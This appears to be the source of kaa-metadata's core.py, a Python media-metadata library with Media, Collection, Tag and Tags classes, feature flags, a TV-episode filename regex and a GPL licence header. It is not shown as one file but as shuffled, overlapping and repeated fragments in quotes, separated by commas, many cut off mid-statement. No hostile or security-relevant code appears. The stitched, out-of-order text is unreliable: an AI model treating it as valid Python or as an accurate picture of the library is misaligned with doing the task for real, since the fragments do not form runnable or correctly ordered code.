Codec may be a fourcc, in which", "Append to the already existing table for k in list(hashmap.keys()): self.tables[name][k] = hashmap[k]", "hasattr(self, key) def get(self, attr, default = None): \"\"\" Returns the given attribute.", "name and set the fourcc attribute. self.fourcc, self.codec = fourcc.resolve(self.codec) if 'language' in", "_keys = MEDIACORE table_mapping = {} def __init__(self, hash=None): if hash is not", "series. It matches names in the # style of 'series 1x01 episode' and", "return hasattr(self, key) def get(self, attr, default = None): \"\"\" Returns the given", "it under the terms of the GNU General Public License as published by", "False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] } def enable_feature(var, value=None): \"\"\" Enable optional features", "has an attribute 'key' \"\"\" return hasattr(self, key) def convert(self): \"\"\" Convert Media", "you can redistribute it and/or modify # it under the terms of the", "within lists. result += '%s\\n' % ', '.join(subtag.value for subtag in tag) else:", "_feature variable. Some feature have a value. These values are set to reasonable", "lists, or Tag objects. A Tags object is more or less a dictionary", "if isinstance(value, str): setattr(self, key, value.strip().rstrip().replace('\\0', '')) if isinstance(value, list) and value and", "a complete list of authors. # # This program is free software; you", "url): \"\"\" Set the URL of the source \"\"\" self.url = url def", "of the License, or # (at your option) any later version. # #", "= '' # print normal attributes lists = [] for key in self._keys:", "Media._keys + [ 'id', 'tracks' ] def __init__(self): Media.__init__(self) self.tracks = [] class", "self._keys: self._keys.append(key) def _set_url(self, url): \"\"\" Set the URL of the source \"\"\"", "strings (keywords?), so don't treat it specially. value = ', '.join(value) else: lists.append((key,", "= 'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME =", "key, None) if value == None or key == 'url': continue if isinstance(value,", "case we resolve it to its actual # name and set the fourcc", "= str(value) if len(value) > 50: value = '<unprintable data, size=%d>' % len(value)", "None) is None: return if isinstance(value, str): value = utils.tostr(value) setattr(self, key, value)", "\"\"\" return hasattr(self, key) def convert(self): \"\"\" Convert Media to dict. \"\"\" result", "# Codec may be a fourcc, in which case we resolve it to", "USA # # ----------------------------------------------------------------------------- # python imports import re import logging from .", "# print lists for key, l in lists: for n, item in enumerate(l):", "# copy needed tags from tables for name, table in list(self.tables.items()): mapping =", "s1e01 episode' where the # delimiter may not be a space but also", "the fourcc attribute. self.fourcc, self.codec = fourcc.resolve(self.codec) if 'language' in self._keys: self.langcode, self.language", "len(value) except (UnicodeDecodeError, TypeError) as e: try: value = '<unprintable data, size=%d>' %", "_set(self, key, value): \"\"\" Set key to value and add the key to", "attribute is not set by the parser return 'default'. \"\"\" return getattr(self, attr,", "(at your option) any later version. # # This program is distributed in", "__getitem__(self, attr): \"\"\" Get the value of the given attribute \"\"\" return getattr(self,", "for submenu in value: submenu._finalize() # copy needed tags from tables for name,", "= utils.tostr(value) setattr(self, key, value) if not key in self._keys: self._keys.append(key) def _set_url(self,", "\"\"\" Set key to value and add the key to the internal keys", "if a feature was activated \"\"\" return _features[feature][0] def feature_config(feature): \"\"\" Returns the", "\"\"\" Returns the configuration of the given feature \"\"\" return _features[feature][1] class Media(object):", "Collection of Digial Media like CD, DVD, Directory, Playlist \"\"\" _keys = Media._keys", "language.resolve(code) class Tags(dict, Tag): \"\"\" A dictionary containing Tag objects. Values can be", "optional parameter value. \"\"\" _features[var][0] = True if value: _features[var][1] = value def", "well-defined dicts whose values are # either Tag objects, other dicts (for nested", "we resolve it to its actual # name and set the fourcc attribute.", "# parsers should transform tag names to conform to the Official # Matroska", "in self._keys and self.codec is not None: # Codec may be a fourcc,", "the already existing table for k in list(hashmap.keys()): self.tables[name][k] = hashmap[k] def _set(self,", "<String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String> </Simple> </Simple> The attribute RATING has a value (PG),", "02111-1307 USA # # ----------------------------------------------------------------------------- # python imports import re import logging from", "Guess if a file is a recording of a TV series. It matches", "isinstance(tag, dict): result += print_tags(tag, ' ', False) return result result += print_tags(self.tags,", "def langcode(self): return self._langcode @langcode.setter def langcode(self, code): self._langcode, self.language = language.resolve(code) class", "by the parser. \"\"\" return self._keys class Collection(Media): \"\"\" Collection of Digial Media", "class Media(object): media = None \"\"\" Media is the base class to all", "for the attributes set by the parser. \"\"\" return self._keys class Collection(Media): \"\"\"", "attr, value) if 'fourcc' in self._keys and 'codec' in self._keys and self.codec is", "get(self, attr, default = None): \"\"\" Returns the given attribute. If the attribute", "Temple Place, Suite 330, Boston, MA 02111-1307 USA # # ----------------------------------------------------------------------------- # python", "and add the key to the internal keys list if missing. \"\"\" if", "value = '<unprintable data>' result += '| | %s: %s\\n' % (str(key), value)", "return '<Binary Tag object: size=%d>' % len(self.value) @property def langcode(self): return self._langcode @langcode.setter", "fourcc from . import language from . import utils UNPRINTABLE_KEYS = [ 'thumbnail',", "Metadata for Python # Copyright (C) 2003-2006 <NAME>, <NAME> # # First Edition:", "import utils UNPRINTABLE_KEYS = [ 'thumbnail', 'url', 'codec_private' ] # media type definitions", "# make sure all strings are unicode for key in self._keys: if key", "value. \"\"\" _features[var][0] = True if value: _features[var][1] = value def features(): \"\"\"", "result += '%s\\n' % (tag.value or '') if isinstance(tag, dict): result += print_tags(tag,", "<String>US</String> </Simple> </Simple> The attribute RATING has a value (PG), but it also", "Copyright (C) 2003-2006 <NAME>, <NAME> # # First Edition: <NAME> <<EMAIL>> # Maintainer:", "or lists of either # (for multiple instances of the tag, e.g. actor).", "Tag(object): \"\"\" An individual tag, which will be a value stored in a", "of the GNU General Public License along # with this program; if not,", "----------------------------------------------------------------------------- # core.py # ----------------------------------------------------------------------------- # $Id$ # # ----------------------------------------------------------------------------- # kaa-Metadata -", "def __getitem__(self, attr): \"\"\" Get the value of the given attribute \"\"\" return", "] # media type definitions MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE =", "'<unprintable data, size=%d>' % len(value) result += '| %10s: %s\\n' % (str(key), str(value))", "\"\"\" Test if key exists in the dict \"\"\" return hasattr(self, key) def", "MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME' MEDIACORE", "Just a list of strings (keywords?), so don't treat it specially. value =", "= 'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME' MEDIACORE = ['title', 'caption', 'comment',", "continue if key in UNPRINTABLE_KEYS: value = '<unprintable data, size=%d>' % len(value) result", "key exists in the dict \"\"\" return hasattr(self, key) def get(self, attr, default", "def has_key(self, key): \"\"\" Check if the object has an attribute 'key' \"\"\"", "are # either Tag objects, other dicts (for nested tags), or lists of", "# # ----------------------------------------------------------------------------- # kaa-Metadata - Media Metadata for Python # Copyright (C)", "self.codec = fourcc.resolve(self.codec) if 'language' in self._keys: self.langcode, self.language = language.resolve(self.language) # #", "features \"\"\" return list(_features.keys()) def feature_enabled(feature): \"\"\" Returns if a feature was activated", "given attribute \"\"\" return getattr(self, attr, None) def __setitem__(self, key, value): \"\"\" Set", "x in value ] self._set(key, value) return self._keys = self._keys[:] self.tables = {}", "return _features[feature][1] class Media(object): media = None \"\"\" Media is the base class", "= [ x.convert() for x in value ] result[k] = value return result", "value) return self._keys = self._keys[:] self.tables = {} # Tags, unlike tables, are", "# $Id$ # # ----------------------------------------------------------------------------- # kaa-Metadata - Media Metadata for Python #", "re.sub(r'\\n(.)', r'\\n| \\1', str(item)) # print tables if log.level >= 10: for name,", "'country', 'language', 'langcode', 'url', 'media', 'artist', 'mime', 'datetime', 'tags', 'hash'] EXTENSION_DEVICE = 'device'", "convertion for debugging # def __str__(self): result = '' # print normal attributes", "in value: submenu._finalize() # copy needed tags from tables for name, table in", "self._langcode, self.language = language.resolve(code) class Tags(dict, Tag): \"\"\" A dictionary containing Tag objects.", "but can be overwritten by setting the optional parameter value. \"\"\" _features[var][0] =", "in the hope that it will be useful, but # WITHOUT ANY WARRANTY;", "value = '<unprintable data, size=%d>' % len(value) except (UnicodeDecodeError, TypeError) as e: try:", "is free software; you can redistribute it and/or modify # it under the", "of 'key' to 'value' \"\"\" setattr(self, key, value) def has_key(self, key): \"\"\" Check", "EXTENSION_STREAM = 'stream' # get logging object log = logging.getLogger('metadata') class ParseError(Exception): pass", "a value. This is necessary in order to represent this kind of tag", "# Copyright (C) 2003-2006 <NAME>, <NAME> # # First Edition: <NAME> <<EMAIL>> #", "self._keys and self.codec is not None: # Codec may be a fourcc, in", "self._keys class Collection(Media): \"\"\" Collection of Digial Media like CD, DVD, Directory, Playlist", "the country code the rating belongs to. \"\"\" def __init__(self, value=None, langcode='und', binary=False):", "\"\"\" return getattr(self, attr, None) def __setitem__(self, key, value): \"\"\" Set the value", "the Official # Matroska tags defined at http://www.matroska.org/technical/specs/tagging/index.html # All tag names will", "'keywords', 'country', 'language', 'langcode', 'url', 'media', 'artist', 'mime', 'datetime', 'tags', 'hash'] EXTENSION_DEVICE =", "Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA", "fourcc attribute. self.fourcc, self.codec = fourcc.resolve(self.codec) if 'language' in self._keys: self.langcode, self.language =", "Table %s\\n' % str(name) for key, value in list(table.items()): try: value = str(value)", "<NAME> # # First Edition: <NAME> <<EMAIL>> # Maintainer: <NAME> <<EMAIL>> # #", "parameter value. \"\"\" _features[var][0] = True if value: _features[var][1] = value def features():", "= logging.getLogger('metadata') class ParseError(Exception): pass _features = { # Guess if a file", "needed tags from tables for name, table in list(self.tables.items()): mapping = self.table_mapping.get(name, {})", "'value' \"\"\" setattr(self, key, value) def has_key(self, key): \"\"\" Check if the object", "None: if not isinstance(value, str): value = utils.tostr(str(value)) elif isinstance(value, str): value =", "keys(self): \"\"\" Return all keys for the attributes set by the parser. \"\"\"", "Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307", "tag specification (e.g. for Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String> </Simple> </Simple>", "key) def get(self, attr, default = None): \"\"\" Returns the given attribute. If", "'<unprintable data, size=%d>' % len(value) except AttributeError: value = '<unprintable data>' result +=", "transform tag names to conform to the Official # Matroska tags defined at", "it also has a child tag COUNTRY that specifies the country code the", "\"\"\" return getattr(self, attr, default) def __getitem__(self, attr): \"\"\" Get the value of", "key) if value is None: continue if key == 'image': if isinstance(value, str):", "may be a fourcc, in which case we resolve it to its actual", "else: # Append to the already existing table for k in list(hashmap.keys()): self.tables[name][k]", "result[k] = value return result def keys(self): \"\"\" Return all keys for the", "key): \"\"\" Test if key exists in the dict \"\"\" return hasattr(self, key)", "' + key.rstrip('s').capitalize() if key not in ('tracks', 'subtitles', 'chapters'): label += '", "WITHOUT ANY WARRANTY; without even the implied warranty of MER- # CHANTABILITY or", "is more or less a dictionary but it also contains a value. This", "_features[var][0] = True if value: _features[var][1] = value def features(): \"\"\" List all", "the hope that it will be useful, but # WITHOUT ANY WARRANTY; without", "elif isinstance(value, dict): # Tables or tags treated separately. continue if key in", "= '<unprintable data, size=%d>' % len(value) result += '| %10s: %s\\n' % (str(key),", "len(value) > 50: value = '<unprintable data, size=%d>' % len(value) except (UnicodeDecodeError, TypeError)", "if key == 'image': if isinstance(value, str): setattr(self, key, utils.tobytes(value)) continue if isinstance(value,", "later version. # # This program is distributed in the hope that it", "values are strings (for binary data), unicode objects, or datetime objects for tags", "A PARTICULAR PURPOSE. See the GNU General # Public License for more details.", "# unicode and string convertion for debugging # def __str__(self): result = ''", "common set of metadata attributes that is listed in keys. Specific derivates contain", "0 and show_label else '', suffix, name) if isinstance(tag, list): # TODO: doesn't", "key, value) def has_key(self, key): \"\"\" Check if the object has an attribute", "EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM = 'stream' # get logging object log = logging.getLogger('metadata')", "kaa-Metadata - Media Metadata for Python # Copyright (C) 2003-2006 <NAME>, <NAME> #", "'langcode', 'url', 'media', 'artist', 'mime', 'datetime', 'tags', 'hash'] EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY =", "internal keys list if missing. \"\"\" if value is None and getattr(self, key,", "implied warranty of MER- # CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See", "are unicode for key in self._keys: if key in UNPRINTABLE_KEYS: continue value =", "stored in a Tags object. Tag values are strings (for binary data), unicode", "list(hash.items()): if isinstance(value, list) and value and isinstance(value[0], dict): value = [ Media(x)", "\\1', str(item)) # print tables if log.level >= 10: for name, table in", "'url': continue if isinstance(value, list): if not value: continue elif isinstance(value[0], str): #", "key, utils.tobytes(value)) continue if isinstance(value, str): setattr(self, key, utils.tostr(value)) if isinstance(value, str): setattr(self,", "for name, table in list(self.tables.items()): result += '+-- Table %s\\n' % str(name) for", "of Digial Media like CD, DVD, Directory, Playlist \"\"\" _keys = Media._keys +", "None: return if isinstance(value, str): value = utils.tostr(value) setattr(self, key, value) if not", "= 'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC =", "if key in UNPRINTABLE_KEYS: value = '<unprintable data, size=%d>' % len(value) result +=", "self.language = language.resolve(code) class Tags(dict, Tag): \"\"\" A dictionary containing Tag objects. Values", "tags), or lists of either # (for multiple instances of the tag, e.g.", "= 'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY =", "core set that is defined in Media. \"\"\" _keys = MEDIACORE table_mapping =", "' ', False) return result result += print_tags(self.tags, '', True) # print lists", "name) if isinstance(tag, list): # TODO: doesn't support lists/dicts within lists. result +=", "str(name) for key, value in list(table.items()): try: value = str(value) if len(value) >", "the # style of 'series 1x01 episode' and 'series s1e01 episode' where the", "in Media. \"\"\" _keys = MEDIACORE table_mapping = {} def __init__(self, hash=None): if", "lists/dicts within lists. result += '%s\\n' % ', '.join(subtag.value for subtag in tag)", "treat it specially. value = ', '.join(value) else: lists.append((key, value)) continue elif isinstance(value,", "on dict for key, value in list(hash.items()): if isinstance(value, list) and value and", "the # delimiter may not be a space but also point or minus.", "= [] class Tag(object): \"\"\" An individual tag, which will be a value", "'chapters'): label += ' Track' result += '%s #%d\\n' % (label, n+1) result", "This is necessary in order to represent this kind of tag specification (e.g.", "isinstance(value, str): value = utils.tostr(value) value = value.strip().rstrip().replace('\\0', '') setattr(self, attr, value) if", "to the Object. If such a table already exists, the given tables items", "value = getattr(self, k, None) if isinstance(value, list) and value and isinstance(value[0], Media):", "r'\\n| \\1', str(item)) # print tables if log.level >= 10: for name, table", "submenu._finalize() # copy needed tags from tables for name, table in list(self.tables.items()): mapping", "table.get(tag, None) if value is not None: if not isinstance(value, str): value =", "elif isinstance(value[0], str): # Just a list of strings (keywords?), so don't treat", "useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of MER-", "'| ' + re.sub(r'\\n(.)', r'\\n| \\1', str(item)) # print tables if log.level >=", "in list(hash.items()): if isinstance(value, list) and value and isinstance(value[0], dict): value = [", "'+-- ' + key.rstrip('s').capitalize() if key not in ('tracks', 'subtitles', 'chapters'): label +=", "= ' % ('tags: ' if n == 0 and show_label else '',", "(keywords?), so don't treat it specially. value = ', '.join(value) else: lists.append((key, value))", "Edition: <NAME> <<EMAIL>> # Maintainer: <NAME> <<EMAIL>> # # Please see the file", "= 'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER =", "# media type definitions MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE'", "str): setattr(self, key, utils.tostr(value)) if isinstance(value, str): setattr(self, key, value.strip().rstrip().replace('\\0', '')) if isinstance(value,", "value: _features[var][1] = value def features(): \"\"\" List all optional features \"\"\" return", "n, item in enumerate(l): label = '+-- ' + key.rstrip('s').capitalize() if key not", "% (str(self.__class__)[8:-2], self.url) else: return '<%s>' % (str(self.__class__)[8:-2]) # # internal functions #", "for tags that represent dates or times. \"\"\" def __init__(self, value=None, langcode='und', binary=False):", "details. # # You should have received a copy of the GNU General", "= [ 'thumbnail', 'url', 'codec_private' ] # media type definitions MEDIA_AUDIO = 'MEDIA_AUDIO'", "value = [ x.convert() for x in value ] result[k] = value return", "# either Tag objects, other dicts (for nested tags), or lists of either", "'' # print normal attributes lists = [] for key in self._keys: value", "even the implied warranty of MER- # CHANTABILITY or FITNESS FOR A PARTICULAR", "print tags (recursively, to support nested tags). def print_tags(tags, suffix, show_label): result =", "binary=False): super(Tag, self).__init__() self.value = value self.langcode = langcode self.binary = binary def", "CD, DVD, Directory, Playlist \"\"\" _keys = Media._keys + [ 'id', 'tracks' ]", "parser return 'default'. \"\"\" return getattr(self, attr, default) def __getitem__(self, attr): \"\"\" Get", "'tags'): setattr(self, key, None) # # unicode and string convertion for debugging #", "other dicts (for nested tags), or lists of either # (for multiple instances", "', False) return result result += print_tags(self.tags, '', True) # print lists for", "feature have a value. These values are set to reasonable default values but", "__unicode__(self): return str(self.value) def __str__(self): return str(self.value) def __repr__(self): if not self.binary: return", "e: try: value = '<unprintable data, size=%d>' % len(value) except AttributeError: value =", "% len(value) except (UnicodeDecodeError, TypeError) as e: try: value = '<unprintable data, size=%d>'", "= MEDIACORE table_mapping = {} def __init__(self, hash=None): if hash is not None:", "and isinstance(value[0], dict): value = [ Media(x) for x in value ] self._set(key,", "list): # TODO: doesn't support lists/dicts within lists. result += '%s\\n' % ',", "getattr(self, key, None) is None: return if isinstance(value, str): value = utils.tostr(value) setattr(self,", "in list(table.items()): try: value = str(value) if len(value) > 50: value = '<unprintable", "# name and set the fourcc attribute. self.fourcc, self.codec = fourcc.resolve(self.codec) if 'language'", "to the already existing table for k in list(hashmap.keys()): self.tables[name][k] = hashmap[k] def", "feature was activated \"\"\" return _features[feature][0] def feature_config(feature): \"\"\" Returns the configuration of", "result def __repr__(self): if hasattr(self, 'url'): return '<%s %s>' % (str(self.__class__)[8:-2], self.url) else:", "'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME'", "in self._keys: self.langcode, self.language = language.resolve(self.language) # # data access # def __contains__(self,", "getattr(self, key, None) if value == None or key == 'url': continue if", "\"\"\" Returns the given attribute. If the attribute is not set by the", "and getattr(self, key, None) is None: return if isinstance(value, str): value = utils.tostr(value)", "not in self.tables: self.tables[name] = hashmap else: # Append to the already existing", "= utils.tostr(value) value = value.strip().rstrip().replace('\\0', '') setattr(self, attr, value) if 'fourcc' in self._keys", "General Public License along # with this program; if not, write to the", "except (UnicodeDecodeError, TypeError) as e: try: value = '<unprintable data, size=%d>' % len(value)", "for tag, attr in list(mapping.items()): if self.get(attr): continue value = table.get(tag, None) if", "hash=None): if hash is not None: # create Media based on dict for", "version. # # This program is distributed in the hope that it will", "= hashmap else: # Append to the already existing table for k in", "list(table.items()): try: value = str(value) if len(value) > 50: value = '<unprintable data,", "or times. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tag, self).__init__() self.value = value", "size=%d>' % len(value) except (UnicodeDecodeError, TypeError) as e: try: value = '<unprintable data,", "2 of the License, or # (at your option) any later version. #", "value is None and getattr(self, key, None) is None: return if isinstance(value, str):", "None and getattr(self, key, None) is None: return if isinstance(value, str): value =", "Collection(Media): \"\"\" Collection of Digial Media like CD, DVD, Directory, Playlist \"\"\" _keys", "'device' EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM = 'stream' # get logging object log =", "is a recording of a TV series. It matches names in the #", "hashmap): \"\"\" Appends a tables of additional metadata to the Object. If such", "self._langcode @langcode.setter def langcode(self, code): self._langcode, self.language = language.resolve(code) class Tags(dict, Tag): \"\"\"", "def langcode(self, code): self._langcode, self.language = language.resolve(code) class Tags(dict, Tag): \"\"\" A dictionary", "all keys for the attributes set by the parser. \"\"\" return self._keys class", "be lower-cased. self.tags = Tags() for key in self._keys: if key not in", "k in self._keys: value = getattr(self, k, None) if isinstance(value, list) and value", "not key in self._keys: self._keys.append(key) def _set_url(self, url): \"\"\" Set the URL of", "that it will be useful, but # WITHOUT ANY WARRANTY; without even the", "attributes lists = [] for key in self._keys: value = getattr(self, key, None)", "without even the implied warranty of MER- # CHANTABILITY or FITNESS FOR A", "Directory, Playlist \"\"\" _keys = Media._keys + [ 'id', 'tracks' ] def __init__(self):", ". import language from . import utils UNPRINTABLE_KEYS = [ 'thumbnail', 'url', 'codec_private'", "A Tags object is more or less a dictionary but it also contains", "{} for k in self._keys: value = getattr(self, k, None) if isinstance(value, list)", "key in self._keys: value = getattr(self, key, None) if value == None or", "self.binary = binary def __unicode__(self): return str(self.value) def __str__(self): return str(self.value) def __repr__(self):", "+= '| %12s%s%s = ' % ('tags: ' if n == 0 and", "[] for key in self._keys: value = getattr(self, key, None) if value ==", "+= print_tags(self.tags, '', True) # print lists for key, l in lists: for", "langcode='und', binary=False): super(Tag, self).__init__() self.value = value self.langcode = langcode self.binary = binary", "a fourcc, in which case we resolve it to its actual # name", "attribute \"\"\" return getattr(self, attr, None) def __setitem__(self, key, value): \"\"\" Set the", "or Tag objects. A Tags object is more or less a dictionary but", "can be overwritten by setting the optional parameter value. \"\"\" _features[var][0] = True", "(name, tag) in enumerate(tags.items()): result += '| %12s%s%s = ' % ('tags: '", "if isinstance(value, list) and value and isinstance(value[0], dict): value = [ Media(x) for", "'series s1e01 episode' where the # delimiter may not be a space but", "it and/or modify # it under the terms of the GNU General Public", "language from . import utils UNPRINTABLE_KEYS = [ 'thumbnail', 'url', 'codec_private' ] #", "enumerate(l): label = '+-- ' + key.rstrip('s').capitalize() if key not in ('tracks', 'subtitles',", "'<unprintable data>' result += '| | %s: %s\\n' % (str(key), value) return result", "TV series. It matches names in the # style of 'series 1x01 episode'", "# print tags (recursively, to support nested tags). def print_tags(tags, suffix, show_label): result", "self._keys: value = getattr(self, k, None) if isinstance(value, list) and value and isinstance(value[0],", "attribute. If the attribute is not set by the parser return 'default'. \"\"\"", "if not key in self._keys: self._keys.append(key) def _set_url(self, url): \"\"\" Set the URL", "nested tags), lists, or Tag objects. A Tags object is more or less", "'series 1x01 episode' and 'series s1e01 episode' where the # delimiter may not", "UNPRINTABLE_KEYS: value = '<unprintable data, size=%d>' % len(value) result += '| %10s: %s\\n'", "License, or # (at your option) any later version. # # This program", "the given attribute \"\"\" return getattr(self, attr, None) def __setitem__(self, key, value): \"\"\"", "def _set_url(self, url): \"\"\" Set the URL of the source \"\"\" self.url =", "set by the parser return 'default'. \"\"\" return getattr(self, attr, default) def __getitem__(self,", "-*- coding: iso-8859-1 -*- # ----------------------------------------------------------------------------- # core.py # ----------------------------------------------------------------------------- # $Id$ #", "\"\"\" _features[var][0] = True if value: _features[var][1] = value def features(): \"\"\" List", "sure all strings are unicode for key in self._keys: if key in UNPRINTABLE_KEYS:", "if not value: continue elif isinstance(value[0], str): # Just a list of strings", "see the file AUTHORS for a complete list of authors. # # This", "return str(self.value) def __repr__(self): if not self.binary: return '<Tag object: %s>' % repr(self.value)", "'thumbnail', 'url', 'codec_private' ] # media type definitions MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO =", "list) and value and isinstance(value[0], dict): value = [ Media(x) for x in", "individual tag, which will be a value stored in a Tags object. Tag", "based on specific rules \"\"\" # make sure all strings are unicode for", "2003-2006 <NAME>, <NAME> # # First Edition: <NAME> <<EMAIL>> # Maintainer: <NAME> <<EMAIL>>", "a feature was activated \"\"\" return _features[feature][0] def feature_config(feature): \"\"\" Returns the configuration", "if value: _features[var][1] = value def features(): \"\"\" List all optional features \"\"\"", "size=%d>' % len(value) result += '| %10s: %s\\n' % (str(key), str(value)) # print", "isinstance(value[0], dict): value = [ Media(x) for x in value ] self._set(key, value)", ". import fourcc from . import language from . import utils UNPRINTABLE_KEYS =", "Tags object is more or less a dictionary but it also contains a", "key, None) is None: return if isinstance(value, str): value = utils.tostr(value) setattr(self, key,", "key, value.strip().rstrip().replace('\\0', '')) if isinstance(value, list) and value and isinstance(value[0], Media): for submenu", "True) # print lists for key, l in lists: for n, item in", "Appends a tables of additional metadata to the Object. If such a table", "the License, or # (at your option) any later version. # # This", "(PG), but it also has a child tag COUNTRY that specifies the country", "'MEDIA_GAME' MEDIACORE = ['title', 'caption', 'comment', 'size', 'type', 'subtype', 'timestamp', 'keywords', 'country', 'language',", "MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE", "continue value = table.get(tag, None) if value is not None: if not isinstance(value,", "'key' \"\"\" return hasattr(self, key) def convert(self): \"\"\" Convert Media to dict. \"\"\"", "RATING has a value (PG), but it also has a child tag COUNTRY", "Media based on dict for key, value in list(hash.items()): if isinstance(value, list) and", "table_mapping = {} def __init__(self, hash=None): if hash is not None: # create", "to the Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston,", "for k in list(hashmap.keys()): self.tables[name][k] = hashmap[k] def _set(self, key, value): \"\"\" Set", "isinstance(value, str): setattr(self, key, utils.tobytes(value)) continue if isinstance(value, str): setattr(self, key, utils.tostr(value)) if", "License as published by # the Free Software Foundation; either version 2 of", "in tag) else: result += '%s\\n' % (tag.value or '') if isinstance(tag, dict):", "General # Public License for more details. # # You should have received", "<NAME> <<EMAIL>> # # Please see the file AUTHORS for a complete list", "http://www.matroska.org/technical/specs/tagging/index.html # All tag names will be lower-cased. self.tags = Tags() for key", "in self._keys: if key not in ('media', 'tags'): setattr(self, key, None) # #", "derivates contain a common set of metadata attributes that is listed in keys.", "attr, default) def __getitem__(self, attr): \"\"\" Get the value of the given attribute", "(str(self.__class__)[8:-2]) # # internal functions # def _appendtable(self, name, hashmap): \"\"\" Appends a", "__init__(self): Media.__init__(self) self.tracks = [] class Tag(object): \"\"\" An individual tag, which will", "isinstance(tag, list): # TODO: doesn't support lists/dicts within lists. result += '%s\\n' %", "return getattr(self, attr, default) def __getitem__(self, attr): \"\"\" Get the value of the", "== None or key == 'url': continue if isinstance(value, list): if not value:", "Media and its derivates contain a common set of metadata attributes that is", "attributes that is listed in keys. Specific derivates contain additional keys to the", "has a value (PG), but it also has a child tag COUNTRY that", "represent this kind of tag specification (e.g. for Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple>", "attr, None) def __setitem__(self, key, value): \"\"\" Set the value of 'key' to", "= '<unprintable data, size=%d>' % len(value) except (UnicodeDecodeError, TypeError) as e: try: value", "isinstance(value[0], Media): for submenu in value: submenu._finalize() # copy needed tags from tables", "_-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] } def enable_feature(var, value=None): \"\"\" Enable optional features defined in", "the optional parameter value. \"\"\" _features[var][0] = True if value: _features[var][1] = value", "('tags: ' if n == 0 and show_label else '', suffix, name) if", "will be a value stored in a Tags object. Tag values are strings", "in UNPRINTABLE_KEYS: value = '<unprintable data, size=%d>' % len(value) result += '| %10s:", "to its actual # name and set the fourcc attribute. self.fourcc, self.codec =", "key.rstrip('s').capitalize() if key not in ('tracks', 'subtitles', 'chapters'): label += ' Track' result", "on specific rules \"\"\" # make sure all strings are unicode for key", "tags defined at http://www.matroska.org/technical/specs/tagging/index.html # All tag names will be lower-cased. self.tags =", "for n, (name, tag) in enumerate(tags.items()): result += '| %12s%s%s = ' %", "----------------------------------------------------------------------------- # kaa-Metadata - Media Metadata for Python # Copyright (C) 2003-2006 <NAME>,", "from . import language from . import utils UNPRINTABLE_KEYS = [ 'thumbnail', 'url',", "'language', 'langcode', 'url', 'media', 'artist', 'mime', 'datetime', 'tags', 'hash'] EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY", "%12s%s%s = ' % ('tags: ' if n == 0 and show_label else", "metadata to the Object. If such a table already exists, the given tables", "recording of a TV series. It matches names in the # style of", "Media is the base class to all Media Metadata Containers. It defines the", "def __init__(self, value=None, langcode='und', binary=False): super(Tags, self).__init__() self.value = value self.langcode = langcode", "feature_config(feature): \"\"\" Returns the configuration of the given feature \"\"\" return _features[feature][1] class", "isinstance(value, str): value = utils.tostr(value) setattr(self, key, value) if not key in self._keys:", "self.tags = Tags() for key in self._keys: if key not in ('media', 'tags'):", "language.resolve(self.language) # # data access # def __contains__(self, key): \"\"\" Test if key", "be a value stored in a Tags object. Tag values are strings (for", "key, l in lists: for n, item in enumerate(l): label = '+-- '", "% (str(key), value) return result def __repr__(self): if hasattr(self, 'url'): return '<%s %s>'", "Enable optional features defined in the _feature variable. Some feature have a value.", "list(self.tables.items()): result += '+-- Table %s\\n' % str(name) for key, value in list(table.items()):", "= utils.tostr(str(value)) elif isinstance(value, str): value = utils.tostr(value) value = value.strip().rstrip().replace('\\0', '') setattr(self,", "objects for tags that represent dates or times. \"\"\" def __init__(self, value=None, langcode='und',", "any later version. # # This program is distributed in the hope that", "Get the value of the given attribute \"\"\" return getattr(self, attr, None) def", "set that is defined in Media. \"\"\" _keys = MEDIACORE table_mapping = {}", "= value self.langcode = langcode self.binary = binary def __unicode__(self): return str(self.value) def", 